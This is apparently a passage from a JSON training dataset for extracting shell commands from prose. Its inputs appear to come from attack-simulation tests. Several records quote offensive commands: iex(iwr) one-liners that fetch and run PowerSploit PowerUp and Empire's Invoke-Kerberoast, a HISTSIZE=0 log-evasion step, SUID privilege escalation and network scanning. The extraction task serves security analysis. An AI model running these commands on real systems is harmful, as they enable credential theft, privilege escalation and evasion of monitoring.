{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The conhost.exe process serves as a host for console windows, bridging the command prompt and Windows Explorer, and can be executed with this command: conhost.exe \"#{process}\"",
    "output": "{\"command_list\": [\"conhost.exe \\\"#{process}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To register OLE controls and trigger calc.exe, use this command: IF \"%PROCESSOR_ARCHITECTURE%\"==\"AMD64\" (C:\\Windows\\syswow64\\regsvr32.exe /s #{dll_name}) ELSE ( #{regsvr32path}\\#{regsvr32name} /s #{dll_name} )",
    "output": "{\"command_list\": [\"IF \\\"%PROCESSOR_ARCHITECTURE%\\\"==\\\"AMD64\\\" (C:\\\\Windows\\\\syswow64\\\\regsvr32.exe /s #{dll_name}) ELSE ( #{regsvr32path}\\\\#{regsvr32name} /s #{dll_name} )\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To simulate an attacker enumerating EC2 Security Groups in a compromised AWS environment, use the following command: aws ec2 describe-security-groups --profile #{aws_profile} --output #{output_format}\n",
    "output": "{\"command_list\": [\"aws ec2 describe-security-groups --profile #{aws_profile} --output #{output_format}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For testing purposes, we can prevent command logging by setting HISTSIZE to zero. The procedure involves three steps: displaying the current value, modifying it, and confirming the change via this command block: echo $HISTSIZE\nexport HISTSIZE=0\necho \"runnning some commands to populate the history\"\nwhoami\ngroups\nif [ $(echo $HISTSIZE) -eq 0 ]; then echo \"\\$HISTSIZE is zero\"; else HIST_LENGTH=$(wc -l $HISTFILE); echo \"\\$HISTSIZE is not zero, history size is $HIST_LENGTH\";  fi",
    "output": "{\"command_list\": [\"echo $HISTSIZE\\nexport HISTSIZE=0\\necho \\\"runnning some commands to populate the history\\\"\\nwhoami\\ngroups\\nif [ $(echo $HISTSIZE) -eq 0 ]; then echo \\\"\\\\$HISTSIZE is zero\\\"; else HIST_LENGTH=$(wc -l $HISTFILE); echo \\\"\\\\$HISTSIZE is not zero, history size is $HIST_LENGTH\\\";  fi\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test leverages the Invoke-Kerberoast.ps1 module from Powershell Empire, which can be run with the following command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\niex(iwr https://raw.githubusercontent.com/EmpireProject/Empire/08cbd274bef78243d7a8ed6443b8364acd1fc48b/data/module_source/credentials/Invoke-Kerberoast.ps1 -UseBasicParsing)\nInvoke-Kerberoast | fl",
    "output": "{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/EmpireProject/Empire/08cbd274bef78243d7a8ed6443b8364acd1fc48b/data/module_source/credentials/Invoke-Kerberoast.ps1 -UseBasicParsing)\\nInvoke-Kerberoast | fl\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For automating SUID executable harvesting and privilege escalation using AutoSUID, prepare and run the application via these commands: chmod +x #{autosuid}\nbash #{autosuid}\n",
    "output": "{\"command_list\": [\"chmod +x #{autosuid}\\nbash #{autosuid}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Using Netscan to discover remote hosts in a target range can be done via this command: cmd /c '#{netscan_path}' /hide /auto:\"$env:temp\\\\T1018NetscanOutput.txt\" /range:'#{range_to_scan}'",
    "output": "{\"command_list\": [\"cmd /c '#{netscan_path}' /hide /auto:\\\"$env:temp\\\\T1018NetscanOutput.txt\\\" /range:'#{range_to_scan}'\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To track processes accessing the camera and microphone, you can modify the registry with the following commands: reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\CapabilityAccessManager\\ConsentStore\\microphone\\NonPackaged\\C:#Windows#Temp#atomic.exe /v LastUsedTimeStart /t REG_BINARY /d a273b6f07104d601 /f\nreg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\CapabilityAccessManager\\ConsentStore\\microphone\\NonPackaged\\C:#Windows#Temp#atomic.exe /v LastUsedTimeStop /t REG_BINARY /d 96ef514b7204d601 /f",
    "output": "{\"command_list\": [\"reg add HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\CapabilityAccessManager\\\\ConsentStore\\\\microphone\\\\NonPackaged\\\\C:#Windows#Temp#atomic.exe /v LastUsedTimeStart /t REG_BINARY /d a273b6f07104d601 /f\\nreg add HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\CapabilityAccessManager\\\\ConsentStore\\\\microphone\\\\NonPackaged\\\\C:#Windows#Temp#atomic.exe /v LastUsedTimeStop /t REG_BINARY /d 96ef514b7204d601 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | 